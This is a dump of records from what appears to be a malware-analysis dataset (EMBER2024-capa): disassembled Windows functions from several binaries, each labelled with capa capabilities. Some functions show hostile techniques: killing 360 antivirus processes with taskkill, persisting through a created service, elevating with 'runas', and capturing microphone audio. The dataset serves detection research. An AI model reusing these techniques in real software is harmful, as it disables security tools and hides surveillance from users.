joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4015d0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebp, eax
cmp ebp, 0xffffffff
je 0x4016a4
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x128
push eax
push ebp
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40169d
mov edi, dword [esp + 0x13c]
lea esi, [esp + 0x34]
mov eax, edi
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x40163e
test cl, cl
je 0x40163a
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x40163e
add eax, 2
add esi, 2
test cl, cl
jne 0x401616
xor eax, eax
jmp 0x401643
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x40168d
lea eax, [esp + 0x10]
push eax
push ebp
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40169d
lea esi, [esp + 0x34]
mov eax, edi
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x401684
test cl, cl
je 0x401680
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x401684
add eax, 2
add esi, 2
test cl, cl
jne 0x40165c
xor eax, eax
jmp 0x401689
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x401647
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x128
ret
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x128
ret

Function at 0x4016c0
Capabilities:
Get common file path
Get system information on windows

Disassembly:
sub esp, 0x144
mov ecx, 0x41
xor eax, eax
push ebx
push esi
push edi
lea edi, [esp + 0x4c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x4c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.__temp
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x4c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
push str.Vwxyab.exe
call fcn.004015d0
add esp, 4
test eax, eax
je 0x401740
push 0xbb8
call ebx
jmp 0x401726
lea eax, [esp + 0xc]
push eax
call esi
mov eax, dword [esp + 0x20]
cmp eax, 4
jl 0x40176a
add eax, 0xfffffffe
lea ecx, [esp + 0x30]
push eax
push 0x562564
push ecx
call edi
add esp, 0xc
call fcn.00401530
jmp 0x401726
call fcn.00401580
jmp 0x401726
Function at 0x401cd0
Capabilities:
Create service
Persist via windows service
Print debug messages
Set registry value
Start service

Disassembly:
sub esp, 0x108
push ebx
push ebp
push esi
push edi
push 0x5625e8
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
rep stosd dword es:[edi], eax
xor ebx, ebx
push 0xf003f
stosw word es:[edi], ax
push ebx
push ebx
mov dword [esp + 0x1c], ebx
xor esi, esi
stosb byte es:[edi], al
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebp, eax
test ebp, ebp
je 0x401dd5
mov eax, dword [esp + 0x128]
push esi
mov ecx, dword [esp + 0x124]
push esi
mov edi, dword [esp + 0x124]
push esi
push esi
push esi
push eax
push esi
push 2
push 0x10
push 0xf01ff
push ecx
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
test esi, esi
jne 0x401d76
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x401d76
push 0xf01ff
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
test ebx, ebx
je 0x401dd5
push esi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
je 0x401dd5
push edi
lea edx, [esp + 0x18]
push str.SYSTEMCurrentControlSetServices_s
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov edx, dword [esp + 0x124]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push 1
push eax
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x24]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x401de4
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test ebx, ebx
je 0x401df1
push esi
call edi
test ebp, ebp
je 0x401df8
push ebp
call edi
test esi, esi
je 0x401dff
push esi
call edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x108
ret

Function at 0x401e70
Capabilities:
Create process on windows

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push str.taskkill__f__t__im_360tray.exe
call esi
push 0
push str.taskkill__f__t__im_360rp.exe
call esi
push 0
push str.taskkill__f__t__im_360sd.exe
call esi
pop esi
ret
Function at 0x401ea0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x140
push esi
push str.29544E05_024F_4BC1_A272_452DBC8E17A4
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
test eax, eax
je 0x401ece
xor al, al
pop esi
add esp, 0x140
ret
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x45]
mov byte [esp + 0x44], 0
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x48]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0xe
xor eax, eax
lea edi, [esp + 0xc]
mov dword [esp + 8], 0x3c
rep stosd dword es:[edi], eax
lea edx, [esp + 8]
lea ecx, [esp + 0x44]
push edx
mov dword [esp + 0x18], str.runas
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x28], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
pop edi
jne 0x401f55
call esi
cmp eax, 0x4c7
jne 0x401f46
xor al, al
pop esi
add esp, 0x140
ret
cmp eax, 2
jne 0x401f55
xor al, al
pop esi
add esp, 0x140
ret
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
pop esi
add esp, 0x140
ret

Function at 0x401f70
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x114
push esi
call fcn.00401ea0
call fcn.00401e70
xor esi, esi
push esi
jmp loc.00564000
Function at 0x403770
Capabilities:
Set current directory

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41c14b
mov eax, dword fs:[0]
push eax
sub esp, 0x524
mov eax, dword [0x42c00c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.0040a530
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x208
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x218]
push 0x5c
push eax
call fcn.0040a127
add esp, 8
xor ecx, ecx
mov word [eax + 2], cx
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push dword [0x42dc58]
call dword [sym.imp.DuiLib32.dll_public:_static_void___cdecl_DuiLib::CPaintManagerUI::SetInstance_struct_HINSTANCE____]
push dword [0x42dc58]
call fcn.00408715
add esp, 8
push 0x428b24
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
mov ebx, eax
call dword [sym.imp.ole32.dll_CoInitialize]
push 0
call dword [sym.imp.ole32.dll_OleInitialize]
mov esi, dword [0x42c918]
mov ecx, dword [0x42c91c]
mov dword [0x42dcb8], 0
cmp esi, ecx
jae 0x40385a
nop dword [eax]
mov eax, dword [esi]
test eax, eax
je 0x403853
mov eax, dword [eax + 0x1c]
push 1
call eax
mov ecx, dword [0x42c91c]
add esi, 4
cmp esi, ecx
jb 0x403840
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x4038b2
lea ecx, [ebp - 0x530]
call fcn.004011d0
lea ecx, [ebp - 0x530]
mov dword [ebp - 4], 0
call fcn.00401330
call dword [sym.imp.DuiLib32.dll_public:_static_void___cdecl_DuiLib::CPaintManagerUI::MessageLoop_void_]
call dword [sym.imp.DuiLib32.dll_public:_static_void___cdecl_DuiLib::CPaintManagerUI::Term_void_]
call fcn.004038f0
call dword [sym.imp.ole32.dll_OleUninitialize]
call dword [sym.imp.ole32.dll_CoUninitialize]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x530]
call fcn.00401280
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00407663
mov esp, ebp
pop ebp
ret
Function at 0x4052d0
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x228
mov eax, dword [0x42c00c]
xor eax, esp
mov dword [esp + 0x224], eax
mov eax, dword [ecx + 4]
mov edx, dword [ebp + 8]
or eax, 0x2001f
push esi
push edi
push eax
push edx
push dword [ecx]
mov dword [esp + 0x28], ecx
lea ecx, [esp + 0x18]
mov dword [esp + 0x24], edx
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
call fcn.00405220
mov esi, eax
test esi, esi
jne 0x4053c7
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
lea eax, [esp + 0x20]
push eax
push esi
push esi
push esi
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0x100
push eax
lea eax, [esp + 0x3c]
push eax
push esi
push dword [esp + 0x28]
call edi
test eax, eax
jne 0x405399
nop dword [eax]
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x10]
call fcn.004052d0
mov esi, eax
test esi, esi
jne 0x4053c7
lea eax, [esp + 0x20]
mov dword [esp + 8], 0x100
push eax
push esi
push esi
push esi
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x3c]
push eax
push esi
push dword [esp + 0x28]
call edi
test eax, eax
je 0x405360
mov eax, dword [esp + 0xc]
test eax, eax
je 0x4053b0
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0xc], 0
push dword [esp + 0x18]
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x14], 0
call fcn.00405410
mov esi, eax
mov eax, dword [esp + 0xc]
test eax, eax
je 0x4053d6
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x22c]
mov eax, esi
pop edi
pop esi
xor ecx, esp
call fcn.00407663
mov esp, ebp
pop ebp
ret 4
Function at 0x405ff0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41c316
mov eax, dword fs:[0]
push eax
sub esp, 0x424
mov eax, dword [0x42c00c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [ebp - 0x420], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x430], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x428], ecx
mov dword [ebp - 0x42c], 0
mov dword [ebp - 0x418], 0
push 0x60
push 0
mov byte [ebp - 4], 1
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push esi
call ebx
mov edi, eax
mov dword [ebp - 0x424], edi
test edi, edi
jne 0x40609c
push 2
push eax
push esi
call ebx
mov edi, eax
mov dword [ebp - 0x424], eax
test edi, edi
jne 0x40609c
call fcn.004044e0
mov esi, eax
jmp 0x40618c
push dword [ebp - 0x41c]
push dword [ebp - 0x420]
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x4060bf
call fcn.004044e0
jmp 0x40617f
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
mov dword [ebp - 0x420], ebx
test ebx, ebx
jne 0x4060dd
call fcn.004044e0
jmp 0x40617f
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
mov dword [ebp - 0x41c], esi
lea eax, [esi + 1]
cmp eax, esi
jae 0x4060fe
mov esi, 0x8007000e
jmp 0x406181
push eax
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.00404490
jmp 0x406128
mov dword [ebp - 4], 1
cmp dword [ebp - 0x418], 0
jne 0x40613f
mov esi, 0x8007000e
jmp 0x406181
push esi
push dword [ebp - 0x418]
push esi
push ebx
push 0
push 3
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, eax
test ecx, ecx
jne 0x40615f
call fcn.004044e0
jmp 0x40617f
mov eax, dword [ebp - 0x418]
xor edx, edx
push dword [ebp + 0x14]
mov word [eax + ecx*2], dx
lea ecx, [ebp - 0x42c]
push dword [ebp - 0x418]
call fcn.00405e90
mov esi, eax
test edi, edi
je 0x40618c
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x4061b0
lea ecx, [ebp - 0x418]
call fcn.00404440
nop word [eax + eax]
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00407663
mov esp, ebp
pop ebp
ret 0x10
Function at 0x406f80
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push ebx
mov ebx, ecx
mov dword [ebp - 4], ebx
cmp eax, 2
jae 0x406f9a
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push edi
xor edi, edi
test eax, eax
je 0x406fd1
lea esi, [edx + 0xc]
test byte [esi + 4], 0x10
jne 0x406fc9
lea eax, [edi + 1]
mov dword [esi], eax
lea eax, [esi - 0xc]
push 0x20
push eax
push ebx
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
mov ebx, eax
test ebx, ebx
jne 0x406ff0
mov eax, dword [ebp + 8]
mov ebx, dword [ebp - 4]
inc edi
add esi, 0x20
cmp edi, eax
jb 0x406fa5
push ebx
call dword [sym.imp.WINMM.dll_waveInStart]
mov esi, eax
test esi, esi
je 0x407004
push ebx
call dword [sym.imp.WINMM.dll_waveInReset]
neg esi
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push dword [ebp - 4]
call dword [sym.imp.WINMM.dll_waveInReset]
pop edi
neg ebx
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4070d0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, ecx
push 0
push 0
push 1
lea edi, [esi + 0xc]
mov dword [esi + 0x18], 4
push 0
mov dword [edi], 0
mov dword [esi + 0x10], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x42dc5c], eax
test eax, eax
jne 0x40710f
or ebx, 0xffffffff
jmp 0x4071b1
lea eax, [ebp - 4]
push eax
push 0
push esi
push 0x407010
push 0
push 0
call fcn.0040f1ce
add esp, 0x18
test eax, eax
jne 0x407143
push dword [0x42dc5c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
or ebx, 0xffffffff
mov dword [0x42dc5c], eax
jmp 0x4071b1
push 0xffffffffffffffff
push dword [0x42dc5c]
mov dword [esi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp + 8]
push edi
push dword [esi + 0x10]
call fcn.00406da0
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x4071ac
mov ecx, dword [ebp + 8]
test ecx, ecx
je 0x407189
mov eax, 0x51eb851f
mul dword [ecx + 4]
movzx eax, word [ecx + 0xc]
shr edx, 4
imul edx, eax
lea eax, [edx + edx*4]
add eax, eax
jmp 0x40718e
mov eax, 0x1900
mov ecx, dword [edi]
lea edx, [esi + 0x14]
push eax
push dword [esi + 0x18]
call fcn.00406e50
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x4071ac
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x42dc5c]
mov edx, dword [esi + 0x14]
test edx, edx
je 0x4071d8
push dword [esi + 0x18]
mov ecx, dword [edi]
call fcn.00406f20
mov eax, dword [0x42dc5c]
add esp, 4
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
mov ecx, dword [edi]
test ecx, ecx
je 0x4071f0
push ecx
call dword [sym.imp.WINMM.dll_waveInClose]
mov eax, dword [0x42dc5c]
mov dword [edi], 0
mov edi, dword [esi + 0x10]
test edi, edi
je 0x407245
test eax, eax
je 0x40723e
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [0x42dc5c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0x12
push edi
mov dword [0x42dc5c], 0
call dword [sym.imp.KERNEL32.dll_GetThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageW]
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x10], 0
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406e40
Capabilities:
Get process heap flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xc
mov dword [esp], 1
call sym.__configure_narrow_argv
call sym.__initialize_narrow_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___argv
mov edi, dword [eax]
call sym.__get_initial_narrow_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
inc eax
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sym._main
mov dword [esp], eax
call sym._exit
nop
nop
nop
nop
nop

Function at 0x407090
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x58
call sym.___main
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov ebx, eax
movzx eax, byte [eax]
test al, al
je 0x40710d
cmp al, 9
je 0x407100
cmp al, 0x20
je 0x407100
mov dword [ebp - 0x54], 0
xor edi, edi
nop
cmp al, 0x5c
je 0x407160
cmp al, 0x22
je 0x407170
mov dword [ebp - 0x54], 0
movzx eax, byte [ebx + 1]
inc ebx
test al, al
je 0x40710d
cmp al, 9
sete cl
cmp al, 0x20
mov esi, ecx
sete cl
mov edx, esi
or dl, cl
je 0x4070c0
test edi, 1
jne 0x4070c0
lea esi, [esi]
movzx eax, byte [ebx + 1]
inc ebx
cmp al, 9
je 0x407100
cmp al, 0x20
je 0x407100
lea eax, [ebp - 0x50]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoA]
sub esp, 4
test byte [ebp - 0x24], 1
jne 0x407128
mov word [ebp - 0x20], 1
movzx esi, word [ebp - 0x20]
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._WinMain_16
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
inc dword [ebp - 0x54]
jmp 0x4070d7
and dword [ebp - 0x54], 1
jne 0x4070d0
xor edi, 1
jmp 0x4070d7
Function at 0x4035ac
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x10ad008], 0x8088405
inc edx
mov dword [ebx + 0x10ad008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41cf44
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41cf75
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cf5d
add dl, dl
jne 0x41cf80
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cfd1
xor eax, eax
add dl, dl
jne 0x41cf8d
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41d06e
add dl, dl
jne 0x41cf9c
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cfa7
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cfb2
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cfbd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41cfc7
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41cf6c
mov eax, 1
add dl, dl
jne 0x41cfdf
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cfea
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cfd6
sub eax, ebx
mov ebx, 1
jne 0x41d01d
mov ecx, 1
add dl, dl
jne 0x41d003
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41d00e
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cffa
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cf6c
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41d034
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41d03f
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41d02b
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41cf6c
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41d08f
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41cf6c
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x41f0a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, edx
xor edx, edx
push ebp
push 0x109158e
push dword fs:[edx]
mov dword fs:[edx], esp
xor edx, edx
mov dword [ebp - 8], edx
mov esi, ebx
xor ecx, ecx
cmp byte [eax + 0x6a], 0
je 0x41f0ef
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x88]
test edx, edx
je 0x41f10e
mov ecx, edx
add ecx, ebx
jmp 0x41f10e
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41f10e
mov ecx, edx
add ecx, ebx
test ecx, ecx
je 0x41f180
mov esi, dword [ecx + 0x18]
mov eax, dword [ecx + 0x1c]
add eax, ebx
mov dword [ebp - 0x10], eax
mov edi, dword [ecx + 0x20]
add edi, ebx
mov eax, dword [ecx + 0x24]
add eax, ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
cmp eax, 0xffff
jbe 0x41f169
test esi, esi
jbe 0x41f180
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088ec
test eax, eax
jne 0x41f15b
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41f180
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41f138
jmp 0x41f180
mov edx, eax
sub edx, dword [ecx + 0x10]
cmp edx, dword [ecx + 0x14]
jae 0x41f180
mov eax, edx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1091595
ret